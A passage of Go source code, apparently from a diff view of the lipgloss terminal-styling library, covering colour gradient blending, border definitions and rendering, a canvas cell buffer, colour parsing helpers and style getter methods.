// will set the alpha to opaque, as it's not possible to blend something completely
// transparent.
func Blend1D(steps int, stops ...color.Color) []color.Color {
if steps < 0 {
steps = 0
}
if steps <= len(stops) {
return stops[:steps]
}
// Ensure they didn't provide any nil colors.
stops = slices.DeleteFunc(stops, func(c color.Color) bool {
return c == nil
})
if len(stops) == 0 {
return nil // We can't safely fallback.
}
// If they only provided one valid color (or some nil colors), we will just return
// an array of that color, for the amount of steps they requested.
if len(stops) == 1 {
singleColor := stops[0]
result := make([]color.Color, steps)
for i := range result {
result[i] = singleColor
}
return result
}
blended := make([]color.Color, steps)
// Convert stops to colorful.Color once
cstops := make([]colorful.Color, len(stops))
for i, k := range stops {
cstops[i], _ = colorful.MakeColor(ensureNotTransparent(k))
}
numSegments := len(cstops) - 1
defaultSize := steps / numSegments
remainingSteps := steps % numSegments
resultIndex := 0
for i := range numSegments {
from := cstops[i]
to := cstops[i+1]
// Calculate segment size.
segmentSize := defaultSize
if i < remainingSteps {
segmentSize++
}
divisor := float64(segmentSize - 1)
// Generate colors for this segment.
for j := 0; j < segmentSize; j++ {
var blendingFactor float64
if segmentSize > 1 {
blendingFactor = float64(j) / divisor
}
blended[resultIndex] = from.BlendLab(to, blendingFactor).Clamped()
resultIndex++
}
}
return blended
}
// Blend2D blends a series of colors together in two linear dimensions using
// multiple stops, into the provided width/height. Uses the "CIE L*, a*, b*" (CIELAB)
// color-space. The angle parameter controls the rotation of the gradient (0-360°),
// where 0° is left-to-right, 45° is bottom-left to top-right (diagonal). The function
// returns colors in a 1D row-major order ([row1, row2, row3, ...]).
//
// Example of how to iterate over the result:
//
// gradient := colors.Blend2D(width, height, 180, color1, color2, color3, ...)
// gradientContent := strings.Builder{}
// for y := range height {
// for x := range width {
// index := y*width + x
// gradientContent.WriteString(
// lipgloss.NewStyle().
// Background(gradient[index]).
// Render(" "),
// )
// }
// if y < height-1 { // End of row.
// gradientContent.WriteString("\n")
// }
// }
//
// Note that if any of the provided colors are completely transparent, we will
// assume that the alpha value was lost in conversion from RGB -> RGBA, and we
// will set the alpha to opaque, as it's not possible to blend something completely
// transparent.
func Blend2D(width, height int, angle float64, stops ...color.Color) []color.Color {
if width < 1 {
width = 1
}
if height < 1 {
height = 1
}
// Normalize angle to 0-360.
angle = math.Mod(angle, 360)
if angle < 0 {
angle += 360
}
// Ensure they didn't provide any nil colors.
stops = slices.DeleteFunc(stops, func(c color.Color) bool {
return c == nil
})
if len(stops) == 0 {
return nil // We can't safely fallback.
}
// If they only provided one valid color (or some nil colors), we will just return
// an array of that color, for the amount of pixels they requested.
if len(stops) == 1 {
singleColor := stops[0]
result := make([]color.Color, width*height)
for i := range result {
result[i] = singleColor
}
return result
}
// For 2D blending, we'll create a gradient along the diagonal and then sample
// from it based on the angle. We'll use the maximum dimension to ensure we have
// enough resolution for the gradient.
diagonalGradient := Blend1D(max(width, height), stops...)
result := make([]color.Color, width*height)
// Calculate center point for rotation.
centerX := float64(width-1) / 2.0
centerY := float64(height-1) / 2.0
angleRad := angle * math.Pi / 180.0 // -> radians.
// Pre-calculate sin and cos.
cosAngle := math.Cos(angleRad)
sinAngle := math.Sin(angleRad)
// Calculate diagonal length for proper gradient mapping.
diagonalLength := math.Sqrt(float64(width*width + height*height))
// Pre-calculate gradient length for index calculation.
gradientLen := float64(len(diagonalGradient) - 1)
for y := range height {
// Calculate the distance from center along the gradient direction.
dy := float64(y) - centerY
for x := 0; x < width; x++ {
// Calculate the distance from center along the gradient direction.
dx := float64(x) - centerX
rotX := dx*cosAngle - dy*sinAngle // Rotate the point by the angle.
// Map the rotated position to the gradient. Normalize to 0-1 range based on
// the diagonal length.
gradientPos := clamp((rotX+diagonalLength/2.0)/diagonalLength, 0, 1)
// Calculate the index in the gradient.
gradientIndex := int(gradientPos * gradientLen)
if gradientIndex >= len(diagonalGradient) {
gradientIndex = len(diagonalGradient) - 1
}
result[y*width+x] = diagonalGradient[gradientIndex] // -> row-major order.
}
}
return result
}
+587
View File
@@ -0,0 +1,587 @@
package lipgloss
import (
"image/color"
"slices"
"strings"
"unicode/utf8"
"github.com/charmbracelet/x/ansi"
"github.com/clipperhouse/displaywidth"
"github.com/rivo/uniseg"
)
// Border contains a series of values which comprise the various parts of a
// border.
type Border struct {
Top string
Bottom string
Left string
Right string
TopLeft string
TopRight string
BottomLeft string
BottomRight string
MiddleLeft string
MiddleRight string
Middle string
MiddleTop string
MiddleBottom string
}
// GetTopSize returns the width of the top border. If borders contain runes of
// varying widths, the widest rune is returned. If no border exists on the top
// edge, 0 is returned.
func (b Border) GetTopSize() int {
return getBorderEdgeWidth(b.TopLeft, b.Top, b.TopRight)
}
// GetRightSize returns the width of the right border. If borders contain
// runes of varying widths, the widest rune is returned. If no border exists on
// the right edge, 0 is returned.
func (b Border) GetRightSize() int {
return getBorderEdgeWidth(b.TopRight, b.Right, b.BottomRight)
}
// GetBottomSize returns the width of the bottom border. If borders contain
// runes of varying widths, the widest rune is returned. If no border exists on
// the bottom edge, 0 is returned.
func (b Border) GetBottomSize() int {
return getBorderEdgeWidth(b.BottomLeft, b.Bottom, b.BottomRight)
}
// GetLeftSize returns the width of the left border. If borders contain runes
// of varying widths, the widest rune is returned. If no border exists on the
// left edge, 0 is returned.
func (b Border) GetLeftSize() int {
return getBorderEdgeWidth(b.TopLeft, b.Left, b.BottomLeft)
}
func getBorderEdgeWidth(borderParts ...string) (maxWidth int) {
for _, piece := range borderParts {
maxWidth = max(maxWidth, maxRuneWidth(piece))
}
return maxWidth
}
var (
noBorder = Border{}
normalBorder = Border{
Top: "─",
Bottom: "─",
Left: "│",
Right: "│",
TopLeft: "┌",
TopRight: "┐",
BottomLeft: "└",
BottomRight: "┘",
MiddleLeft: "├",
MiddleRight: "┤",
Middle: "┼",
MiddleTop: "┬",
MiddleBottom: "┴",
}
roundedBorder = Border{
Top: "─",
Bottom: "─",
Left: "│",
Right: "│",
TopLeft: "╭",
TopRight: "╮",
BottomLeft: "╰",
BottomRight: "╯",
MiddleLeft: "├",
MiddleRight: "┤",
Middle: "┼",
MiddleTop: "┬",
MiddleBottom: "┴",
}
blockBorder = Border{
Top: "█",
Bottom: "█",
Left: "█",
Right: "█",
TopLeft: "█",
TopRight: "█",
BottomLeft: "█",
BottomRight: "█",
MiddleLeft: "█",
MiddleRight: "█",
Middle: "█",
MiddleTop: "█",
MiddleBottom: "█",
}
outerHalfBlockBorder = Border{
Top: "▀",
Bottom: "▄",
Left: "▌",
Right: "▐",
TopLeft: "▛",
TopRight: "▜",
BottomLeft: "▙",
BottomRight: "▟",
}
innerHalfBlockBorder = Border{
Top: "▄",
Bottom: "▀",
Left: "▐",
Right: "▌",
TopLeft: "▗",
TopRight: "▖",
BottomLeft: "▝",
BottomRight: "▘",
}
thickBorder = Border{
Top: "━",
Bottom: "━",
Left: "┃",
Right: "┃",
TopLeft: "┏",
TopRight: "┓",
BottomLeft: "┗",
BottomRight: "┛",
MiddleLeft: "┣",
MiddleRight: "┫",
Middle: "╋",
MiddleTop: "┳",
MiddleBottom: "┻",
}
doubleBorder = Border{
Top: "═",
Bottom: "═",
Left: "║",
Right: "║",
TopLeft: "╔",
TopRight: "╗",
BottomLeft: "╚",
BottomRight: "╝",
MiddleLeft: "╠",
MiddleRight: "╣",
Middle: "╬",
MiddleTop: "╦",
MiddleBottom: "╩",
}
hiddenBorder = Border{
Top: " ",
Bottom: " ",
Left: " ",
Right: " ",
TopLeft: " ",
TopRight: " ",
BottomLeft: " ",
BottomRight: " ",
MiddleLeft: " ",
MiddleRight: " ",
Middle: " ",
MiddleTop: " ",
MiddleBottom: " ",
}
markdownBorder = Border{
Top: "-",
Bottom: "-",
Left: "|",
Right: "|",
TopLeft: "|",
TopRight: "|",
BottomLeft: "|",
BottomRight: "|",
MiddleLeft: "|",
MiddleRight: "|",
Middle: "|",
MiddleTop: "|",
MiddleBottom: "|",
}
asciiBorder = Border{
Top: "-",
Bottom: "-",
Left: "|",
Right: "|",
TopLeft: "+",
TopRight: "+",
BottomLeft: "+",
BottomRight: "+",
MiddleLeft: "+",
MiddleRight: "+",
Middle: "+",
MiddleTop: "+",
MiddleBottom: "+",
}
)
// NormalBorder returns a standard-type border with a normal weight and 90
// degree corners.
func NormalBorder() Border {
return normalBorder
}
// RoundedBorder returns a border with rounded corners.
func RoundedBorder() Border {
return roundedBorder
}
// BlockBorder returns a border that takes the whole block.
func BlockBorder() Border {
return blockBorder
}
// OuterHalfBlockBorder returns a half-block border that sits outside the frame.
func OuterHalfBlockBorder() Border {
return outerHalfBlockBorder
}
// InnerHalfBlockBorder returns a half-block border that sits inside the frame.
func InnerHalfBlockBorder() Border {
return innerHalfBlockBorder
}
// ThickBorder returns a border that's thicker than the one returned by
// NormalBorder.
func ThickBorder() Border {
return thickBorder
}
// DoubleBorder returns a border comprised of two thin strokes.
func DoubleBorder() Border {
return doubleBorder
}
// HiddenBorder returns a border that renders as a series of single-cell
// spaces. It's useful for cases when you want to remove a standard border but
// maintain layout positioning. This said, you can still apply a background
// color to a hidden border.
func HiddenBorder() Border {
return hiddenBorder
}
// MarkdownBorder return a table border in markdown style.
//
// Make sure to disable top and bottom border for the best result. This will
// ensure that the output is valid markdown.
//
// table.New().Border(lipgloss.MarkdownBorder()).BorderTop(false).BorderBottom(false)
func MarkdownBorder() Border {
return markdownBorder
}
// ASCIIBorder returns a table border with ASCII characters.
func ASCIIBorder() Border {
return asciiBorder
}
type borderBlend struct {
topGradient []color.Color
rightGradient []color.Color
bottomGradient []color.Color
leftGradient []color.Color
}
func (s Style) borderBlend(width, height int, colors ...color.Color) *borderBlend {
gradient := Blend1D(
(height+width+2)*2,
colors...,
)
// Rotate array forward or reverse based on the offset if provided.
if r := -s.getAsInt(borderForegroundBlendOffsetKey); r != 0 {
n := len(gradient)
r %= n
if r < 0 {
r += n
}
slices.Reverse(gradient[:r])
slices.Reverse(gradient[r:])
slices.Reverse(gradient)
}
offset := 0
getFromOffset := func(size int) (s []color.Color) {
s = gradient[offset : offset+size]
offset += size
return s
}
blend := &borderBlend{
topGradient: getFromOffset(width + 2),
rightGradient: getFromOffset(height),
bottomGradient: getFromOffset(width + 2),
leftGradient: getFromOffset(height),
}
// bottom and left gradients are reversed because they are drawn in reverse order.
slices.Reverse(blend.bottomGradient)
slices.Reverse(blend.leftGradient)
return blend
}
func (s Style) applyBorder(str string) string {
var (
border = s.getBorderStyle()
hasTop = s.getAsBool(borderTopKey, false)
hasRight = s.getAsBool(borderRightKey, false)
hasBottom = s.getAsBool(borderBottomKey, false)
hasLeft = s.getAsBool(borderLeftKey, false)
)
// If a border is set and no sides have been specifically turned on or off
// render borders on all sides.
if s.isBorderStyleSetWithoutSides() {
hasTop = true
hasRight = true
hasBottom = true
hasLeft = true
}
// If no border is set or all borders are been disabled, abort.
if border == noBorder || (!hasTop && !hasRight && !hasBottom && !hasLeft) {
return str
}
lines, width := getLines(str)
if hasLeft {
if border.Left == "" {
border.Left = " "
}
width += maxRuneWidth(border.Left)
}
if hasRight {
if border.Right == "" {
border.Right = " "
}
width += maxRuneWidth(border.Right)
}
// If corners should be rendered but are set with the empty string, fill them
// with a single space.
if hasTop && hasLeft && border.TopLeft == "" {
border.TopLeft = " "
}
if hasTop && hasRight && border.TopRight == "" {
border.TopRight = " "
}
if hasBottom && hasLeft && border.BottomLeft == "" {
border.BottomLeft = " "
}
if hasBottom && hasRight && border.BottomRight == "" {
border.BottomRight = " "
}
// Figure out which corners we should actually be using based on which
// sides are set to show.
if hasTop {
switch {
case !hasLeft && !hasRight:
border.TopLeft = ""
border.TopRight = ""
case !hasLeft:
border.TopLeft = ""
case !hasRight:
border.TopRight = ""
}
}
if hasBottom {
switch {
case !hasLeft && !hasRight:
border.BottomLeft = ""
border.BottomRight = ""
case !hasLeft:
border.BottomLeft = ""
case !hasRight:
border.BottomRight = ""
}
}
// For now, limit corners to one rune.
border.TopLeft = getFirstRuneAsString(border.TopLeft)
border.TopRight = getFirstRuneAsString(border.TopRight)
border.BottomRight = getFirstRuneAsString(border.BottomRight)
border.BottomLeft = getFirstRuneAsString(border.BottomLeft)
var topFG, rightFG, bottomFG, leftFG color.Color
var (
blendFG = s.getAsColors(borderForegroundBlendKey)
topBG = s.getAsColor(borderTopBackgroundKey)
rightBG = s.getAsColor(borderRightBackgroundKey)
bottomBG = s.getAsColor(borderBottomBackgroundKey)
leftBG = s.getAsColor(borderLeftBackgroundKey)
)
var blend *borderBlend
if len(blendFG) > 0 {
blend = s.borderBlend(width, len(lines), blendFG...)
} else {
topFG = s.getAsColor(borderTopForegroundKey)
rightFG = s.getAsColor(borderRightForegroundKey)
bottomFG = s.getAsColor(borderBottomForegroundKey)
leftFG = s.getAsColor(borderLeftForegroundKey)
}
var out strings.Builder
// Render top
if hasTop {
top := renderHorizontalEdge(border.TopLeft, border.Top, border.TopRight, width)
if blend != nil {
out.WriteString(s.styleBorderBlend(top, blend.topGradient, topBG))
} else {
out.WriteString(s.styleBorder(top, topFG, topBG))
}
out.WriteRune('\n')
}
leftRunes := []rune(border.Left)
leftIndex := 0
rightRunes := []rune(border.Right)
rightIndex := 0
// Render sides
var r string
for i, l := range lines {
if hasLeft {
r = string(leftRunes[leftIndex])
leftIndex++
if leftIndex >= len(leftRunes) {
leftIndex = 0
}
if blend != nil {
out.WriteString(s.styleBorder(r, blend.leftGradient[i], leftBG))
} else {
out.WriteString(s.styleBorder(r, leftFG, leftBG))
}
}
out.WriteString(l)
if hasRight {
r = string(rightRunes[rightIndex])
rightIndex++
if rightIndex >= len(rightRunes) {
rightIndex = 0
}
if blend != nil {
out.WriteString(s.styleBorder(r, blend.rightGradient[i], rightBG))
} else {
out.WriteString(s.styleBorder(r, rightFG, rightBG))
}
}
if i < len(lines)-1 {
out.WriteRune('\n')
}
}
// Render bottom
if hasBottom {
bottom := renderHorizontalEdge(border.BottomLeft, border.Bottom, border.BottomRight, width)
out.WriteRune('\n')
if blend != nil {
out.WriteString(s.styleBorderBlend(bottom, blend.bottomGradient, bottomBG))
} else {
out.WriteString(s.styleBorder(bottom, bottomFG, bottomBG))
}
}
return out.String()
}
// Render the horizontal (top or bottom) portion of a border.
func renderHorizontalEdge(left, middle, right string, width int) string {
if middle == "" {
middle = " "
}
leftWidth := ansi.StringWidth(left)
rightWidth := ansi.StringWidth(right)
runes := []rune(middle)
j := 0
out := strings.Builder{}
out.WriteString(left)
for i := 0; i < width-leftWidth-rightWidth; {
r := runes[j]
out.WriteRune(r)
i += ansi.StringWidth(string(r))
j++
if j >= len(runes) {
j = 0
}
}
out.WriteString(right)
return out.String()
}
// styleBorder applies foreground and background styling to a border.
func (s Style) styleBorder(border string, fg, bg color.Color) string {
if fg == noColor && bg == noColor {
return border
}
var style ansi.Style
if fg != noColor {
style = style.ForegroundColor(fg)
}
if bg != noColor {
style = style.BackgroundColor(bg)
}
return style.Styled(border)
}
// styleBorderBlend applies foreground and background styling to a border, using blending.
func (s Style) styleBorderBlend(border string, fg []color.Color, bg color.Color) string {
var out strings.Builder
var style ansi.Style
var i int
gr := uniseg.NewGraphemes(border)
for gr.Next() {
style = style[:0]
if fg[i] != noColor {
style = style.ForegroundColor(fg[i])
}
if bg != noColor {
style = style.BackgroundColor(bg)
}
_, _ = out.WriteString(style.String())
_, _ = out.Write(gr.Bytes())
i++
}
_, _ = out.WriteString(ansi.ResetStyle)
return out.String()
}
func maxRuneWidth(str string) int {
switch len(str) {
case 0:
return 0
case 1:
return displaywidth.String(str)
}
var width int
g := displaywidth.StringGraphemes(str)
for g.Next() {
width = max(width, g.Width())
}
return width
}
func getFirstRuneAsString(str string) string {
if str == "" {
return str
}
_, size := utf8.DecodeRuneInString(str)
return str[:size]
}
+88
View File
@@ -0,0 +1,88 @@
package lipgloss
import (
uv "github.com/charmbracelet/ultraviolet"
"github.com/charmbracelet/x/ansi"
)
// Canvas is a cell-buffer that can be used to compose and draw [uv.Drawable]s
// like [Layer]s.
//
// Composed drawables are drawn onto the canvas in the order they were
// composed, meaning later drawables will appear "on top" of earlier ones.
//
// A canvas can read, modify, and render its cell contents.
//
// It implements [uv.Screen] and [uv.Drawable].
type Canvas struct {
scr uv.ScreenBuffer
}
var _ uv.Screen = (*Canvas)(nil)
// NewCanvas creates a new [Canvas] with the given size.
func NewCanvas(width, height int) *Canvas {
c := new(Canvas)
c.scr = uv.NewScreenBuffer(width, height)
c.scr.Method = ansi.GraphemeWidth
return c
}
// Resize resizes the canvas to the given width and height.
func (c *Canvas) Resize(width, height int) {
c.scr.Resize(width, height)
}
// Clear clears the canvas.
func (c *Canvas) Clear() {
c.scr.Clear()
}
// Bounds implements [uv.Screen].
func (c *Canvas) Bounds() uv.Rectangle {
return c.scr.Bounds()
}
// Width returns the width of the canvas.
func (c *Canvas) Width() int {
return c.scr.Width()
}
// Height returns the height of the canvas.
func (c *Canvas) Height() int {
return c.scr.Height()
}
// CellAt implements [uv.Screen].
func (c *Canvas) CellAt(x int, y int) *uv.Cell {
return c.scr.CellAt(x, y)
}
// SetCell implements [uv.Screen].
func (c *Canvas) SetCell(x int, y int, cell *uv.Cell) {
c.scr.SetCell(x, y, cell)
}
// WidthMethod implements [uv.Screen].
func (c *Canvas) WidthMethod() uv.WidthMethod {
return c.scr.WidthMethod()
}
// Compose composes a [Layer] or any [uv.Drawable] onto the [Canvas].
func (c *Canvas) Compose(drawer uv.Drawable) *Canvas {
drawer.Draw(c, c.Bounds())
return c
}
// Draw draws the [Canvas] onto the given [uv.Screen] within the specified
// area.
//
// It implements [uv.Drawable].
func (c *Canvas) Draw(scr uv.Screen, area uv.Rectangle) {
c.scr.Draw(scr, area)
}
// Render renders the canvas into a styled string.
func (c *Canvas) Render() string {
return c.scr.Render()
}
+359
View File
@@ -0,0 +1,359 @@
package lipgloss
import (
"cmp"
"errors"
"image/color"
"strconv"
"strings"
"github.com/charmbracelet/colorprofile"
"github.com/charmbracelet/x/ansi"
"github.com/lucasb-eyer/go-colorful"
)
func clamp[T cmp.Ordered](v, low, high T) T {
if high < low {
high, low = low, high
}
return min(high, max(low, v))
}
// 4-bit color constants.
const (
Black ansi.BasicColor = iota
Red
Green
Yellow
Blue
Magenta
Cyan
White
BrightBlack
BrightRed
BrightGreen
BrightYellow
BrightBlue
BrightMagenta
BrightCyan
BrightWhite
)
var noColor = NoColor{}
// NoColor is used to specify the absence of color styling. When this is active
// foreground colors will be rendered with the terminal's default text color,
// and background colors will not be drawn at all.
//
// Example usage:
//
// var style = someStyle.Background(lipgloss.NoColor{})
type NoColor struct{}
// RGBA returns the RGBA value of this color. Because we have to return
// something, despite this color being the absence of color, we're returning
// black with 100% opacity.
//
// Red: 0x0, Green: 0x0, Blue: 0x0, Alpha: 0xFFFF.
func (n NoColor) RGBA() (r, g, b, a uint32) {
return 0x0, 0x0, 0x0, 0xFFFF //nolint:mnd
}
// Color specifies a color by hex or ANSI256 value. For example:
//
// ansiColor := lipgloss.Color("1") // The same as lipgloss.Red
// ansi256Color := lipgloss.Color("21")
// hexColor := lipgloss.Color("#0000ff")
func Color(s string) color.Color {
if strings.HasPrefix(s, "#") {
c, err := parseHex(s)
if err != nil {
return noColor
}
return c
}
i, err := strconv.Atoi(s)
if err != nil {
return noColor
}
if i < 0 {
// Only positive numbers
i = -i
}
if i < 16 {
return ansi.BasicColor(i) //nolint:gosec
} else if i < 256 {
return ANSIColor(i) //nolint:gosec
}
r, g, b := uint8((i>>16)&0xff), uint8(i>>8&0xff), uint8(i&0xff) //nolint:gosec
return color.RGBA{R: r, G: g, B: b, A: 0xff}
}
var errInvalidFormat = errors.New("invalid hex format") // pre-allocated.
// parseHex parses a hex color string and returns a color.RGBA. The string can be
// in the format #RRGGBB or #RGB. This is a more performant implementation of
// [colorful.Hex].
func parseHex(s string) (c color.RGBA, err error) {
c.A = 0xff
if len(s) == 0 || s[0] != '#' {
return c, errInvalidFormat
}
hexToByte := func(b byte) byte {
switch {
case b >= '0' && b <= '9':
return b - '0'
case b >= 'a' && b <= 'f':
return b - 'a' + 10
case b >= 'A' && b <= 'F':
return b - 'A' + 10
}
err = errInvalidFormat
return 0
}
switch len(s) {
case 7:
c.R = hexToByte(s[1])<<4 + hexToByte(s[2])
c.G = hexToByte(s[3])<<4 + hexToByte(s[4])
c.B = hexToByte(s[5])<<4 + hexToByte(s[6])
case 4:
c.R = hexToByte(s[1]) * 17
c.G = hexToByte(s[2]) * 17
c.B = hexToByte(s[3]) * 17
default:
err = errInvalidFormat
}
return c, err
}
// RGBColor is a color specified by red, green, and blue values.
type RGBColor struct {
R uint8
G uint8
B uint8
}
// RGBA returns the RGBA value of this color. This satisfies the Go Color
// interface.
func (c RGBColor) RGBA() (r, g, b, a uint32) {
const shift = 8
r |= uint32(c.R) << shift
g |= uint32(c.G) << shift
b |= uint32(c.B) << shift
a = 0xFFFF
return
}
// ANSIColor is a color specified by an ANSI256 color value.
//
// Example usage:
//
// colorA := lipgloss.ANSIColor(8)
// colorB := lipgloss.ANSIColor(134)
type ANSIColor = ansi.IndexedColor
// LightDarkFunc is a function that returns a color based on whether the
// terminal has a light or dark background. You can create one of these with
// [LightDark].
//
// Example:
//
// lightDark := lipgloss.LightDark(hasDarkBackground)
// red, blue := lipgloss.Color("#ff0000"), lipgloss.Color("#0000ff")
// myHotColor := lightDark(red, blue)
//
// For more info see [LightDark].
type LightDarkFunc func(light, dark color.Color) color.Color
// LightDark is a simple helper type that can be used to choose the appropriate
// color based on whether the terminal has a light or dark background.
//
// lightDark := lipgloss.LightDark(hasDarkBackground)
// red, blue := lipgloss.Color("#ff0000"), lipgloss.Color("#0000ff")
// myHotColor := lightDark(red, blue)
//
// In practice, there are slightly different workflows between Bubble Tea and
// Lip Gloss standalone.
//
// In Bubble Tea, listen for tea.BackgroundColorMsg, which automatically
// flows through Update on start. This message will be received whenever the
// background color changes:
//
// case tea.BackgroundColorMsg:
// m.hasDarkBackground = msg.IsDark()
//
// Later, when you're rendering use:
//
// lightDark := lipgloss.LightDark(m.hasDarkBackground)
// red, blue := lipgloss.Color("#ff0000"), lipgloss.Color("#0000ff")
// myHotColor := lightDark(red, blue)
//
// In standalone Lip Gloss, the workflow is simpler:
//
// hasDarkBG := lipgloss.HasDarkBackground(os.Stdin, os.Stdout)
// lightDark := lipgloss.LightDark(hasDarkBG)
// red, blue := lipgloss.Color("#ff0000"), lipgloss.Color("#0000ff")
// myHotColor := lightDark(red, blue)
func LightDark(isDark bool) LightDarkFunc {
return func(light, dark color.Color) color.Color {
if isDark {
return dark
}
return light
}
}
// isDarkColor returns whether the given color is dark (based on the luminance
// portion of the color as interpreted as HSL).
//
// Example usage:
//
// color := lipgloss.Color("#0000ff")
// if lipgloss.isDarkColor(color) {
// fmt.Println("It's dark! I love darkness!")
// } else {
// fmt.Println("It's light! Cover your eyes!")
// }
func isDarkColor(c color.Color) bool {
col, ok := colorful.MakeColor(c)
if !ok {
return true
}
_, _, l := col.Hsl()
return l < 0.5 //nolint:mnd
}
// CompleteFunc is a function that returns the appropriate color based on the
// given color profile.
//
// Example usage:
//
// p := colorprofile.Detect(os.Stderr, os.Environ())
// complete := lipgloss.Complete(p)
// color := complete(
// lipgloss.Color(1), // ANSI
// lipgloss.Color(124), // ANSI256
// lipgloss.Color("#ff34ac"), // TrueColor
// )
// fmt.Println("Ooh, pretty color: ", color)
//
// For more info see [Complete].
type CompleteFunc func(ansi, ansi256, truecolor color.Color) color.Color
// Complete returns a function that will return the appropriate color based on
// the given color profile.
//
// Example usage:
//
// p := colorprofile.Detect(os.Stderr, os.Environ())
// complete := lipgloss.Complete(p)
// color := complete(
// lipgloss.Color(1), // ANSI
// lipgloss.Color(124), // ANSI256
// lipgloss.Color("#ff34ac"), // TrueColor
// )
// fmt.Println("Ooh, pretty color: ", color)
func Complete(p colorprofile.Profile) CompleteFunc {
return func(ansi, ansi256, truecolor color.Color) color.Color {
switch p { //nolint:exhaustive
case colorprofile.ANSI:
return ansi
case colorprofile.ANSI256:
return ansi256
case colorprofile.TrueColor:
return truecolor
}
return noColor
}
}
// ensureNotTransparent ensures that the alpha value of a color is not 0, and if
// it is, we will set it to 1. This is useful for when we are converting from
// RGB -> RGBA, and the alpha value is lost in the conversion for gradient purposes.
func ensureNotTransparent(c color.Color) color.Color {
_, _, _, a := c.RGBA()
if a == 0 {
return Alpha(c, 1)
}
return c
}
// Alpha adjusts the alpha value of a color using a 0-1 (clamped) float scale
// 0 = transparent, 1 = opaque.
func Alpha(c color.Color, alpha float64) color.Color {
if c == nil {
return nil
}
r, g, b, _ := c.RGBA()
return color.RGBA{
R: uint8(min(255, float64(r>>8))),
G: uint8(min(255, float64(g>>8))),
B: uint8(min(255, float64(b>>8))),
A: uint8(clamp(alpha, 0, 1) * 255),
}
}
// Complementary returns the complementary color (180° away on color wheel) of
// the given color. This is useful for creating a contrasting color.
func Complementary(c color.Color) color.Color {
if c == nil {
return nil
}
// Offset hue by 180°.
cf, _ := colorful.MakeColor(ensureNotTransparent(c))
h, s, v := cf.Hsv()
h += 180
if h >= 360 {
h -= 360
} else if h < 0 {
h += 360
}
return colorful.Hsv(h, s, v).Clamped()
}
// Darken takes a color and makes it darker by a specific percentage (0-1, clamped).
func Darken(c color.Color, percent float64) color.Color {
if c == nil {
return nil
}
mult := 1.0 - clamp(percent, 0, 1)
r, g, b, a := c.RGBA()
return color.RGBA{
R: uint8(float64(r>>8) * mult),
G: uint8(float64(g>>8) * mult),
B: uint8(float64(b>>8) * mult),
A: uint8(min(255, float64(a>>8))),
}
}
// Lighten makes a color lighter by a specific percentage (0-1, clamped).
func Lighten(c color.Color, percent float64) color.Color {
if c == nil {
return nil
}
add := 255 * (clamp(percent, 0, 1))
r, g, b, a := c.RGBA()
return color.RGBA{
R: uint8(min(255, float64(r>>8)+add)),
G: uint8(min(255, float64(g>>8)+add)),
B: uint8(min(255, float64(b>>8)+add)),
A: uint8(min(255, float64(a>>8))),
}
}
+655
View File
@@ -0,0 +1,655 @@
package lipgloss
import (
"image/color"
"strings"
"github.com/charmbracelet/x/ansi"
)
// GetBold returns the style's bold value. If no value is set false is returned.
func (s Style) GetBold() bool {
return s.getAsBool(boldKey, false)
}
// GetItalic returns the style's italic value. If no value is set false is
// returned.
func (s Style) GetItalic() bool {
return s.getAsBool(italicKey, false)
}
// GetUnderline returns the style's underline value. If no value is set false is
// returned.
func (s Style) GetUnderline() bool {
return s.ul != UnderlineNone
}
// GetUnderlineStyle returns the style's underline style. If no value is set
// UnderlineNone is returned.
func (s Style) GetUnderlineStyle() Underline {
return s.ul
}
// GetUnderlineColor returns the style's underline color. If no value is set
// NoColor{} is returned.
func (s Style) GetUnderlineColor() color.Color {
return s.getAsColor(underlineColorKey)
}
// GetStrikethrough returns the style's strikethrough value. If no value is set false
// is returned.
func (s Style) GetStrikethrough() bool {
return s.getAsBool(strikethroughKey, false)
}
// GetReverse returns the style's reverse value. If no value is set false is
// returned.
func (s Style) GetReverse() bool {
return s.getAsBool(reverseKey, false)
}
// GetBlink returns the style's blink value. If no value is set false is
// returned.
func (s Style) GetBlink() bool {
return s.getAsBool(blinkKey, false)
}
// GetFaint returns the style's faint value. If no value is set false is
// returned.
func (s Style) GetFaint() bool {
return s.getAsBool(faintKey, false)
}
// GetForeground returns the style's foreground color. If no value is set
// NoColor{} is returned.
func (s Style) GetForeground() color.Color {
return s.getAsColor(foregroundKey)
}
// GetBackground returns the style's background color. If no value is set
// NoColor{} is returned.
func (s Style) GetBackground() color.Color {
return s.getAsColor(backgroundKey)
}
// GetWidth returns the style's width setting. If no width is set 0 is
// returned.
func (s Style) GetWidth() int {
return s.getAsInt(widthKey)
}
// GetHeight returns the style's height setting. If no height is set 0 is
// returned.
func (s Style) GetHeight() int {
return s.getAsInt(heightKey)
}
// GetAlign returns the style's implicit horizontal alignment setting.
// If no alignment is set Position.Left is returned.
func (s Style) GetAlign() Position {
v := s.getAsPosition(alignHorizontalKey)
if v == Position(0) {
return Left
}
return v
}
// GetAlignHorizontal returns the style's implicit horizontal alignment setting.
// If no alignment is set Position.Left is returned.
func (s Style) GetAlignHorizontal() Position {
v := s.getAsPosition(alignHorizontalKey)
if v == Position(0) {
return Left
}
return v
}
// GetAlignVertical returns the style's implicit vertical alignment setting.
// If no alignment is set Position.Top is returned.
func (s Style) GetAlignVertical() Position {
v := s.getAsPosition(alignVerticalKey)
if v == Position(0) {
return Top
}
return v
}
// GetPadding returns the style's top, right, bottom, and left padding values,
// in that order. 0 is returned for unset values.
func (s Style) GetPadding() (top, right, bottom, left int) {
return s.getAsInt(paddingTopKey),
s.getAsInt(paddingRightKey),
s.getAsInt(paddingBottomKey),
s.getAsInt(paddingLeftKey)
}
// GetPaddingTop returns the style's top padding. If no value is set 0 is
// returned.
func (s Style) GetPaddingTop() int {
return s.getAsInt(paddingTopKey)
}
// GetPaddingRight returns the style's right padding. If no value is set 0 is
// returned.
func (s Style) GetPaddingRight() int {
return s.getAsInt(paddingRightKey)
}
// GetPaddingBottom returns the style's bottom padding. If no value is set 0 is
// returned.
func (s Style) GetPaddingBottom() int {
return s.getAsInt(paddingBottomKey)
}
// GetPaddingLeft returns the style's left padding. If no value is set 0 is
// returned.
func (s Style) GetPaddingLeft() int {
return s.getAsInt(paddingLeftKey)
}
// GetPaddingChar returns the style's padding character. If no value is set a
// space is returned.
func (s Style) GetPaddingChar() rune {
char := s.getAsRune(paddingCharKey)
if char == 0 {
return ' '
}
return char
}
// GetHorizontalPadding returns the style's left and right padding. Unset
// values are measured as 0.
func (s Style) GetHorizontalPadding() int {
return s.getAsInt(paddingLeftKey) + s.getAsInt(paddingRightKey)
}
// GetVerticalPadding returns the style's top and bottom padding. Unset values
// are measured as 0.
func (s Style) GetVerticalPadding() int {
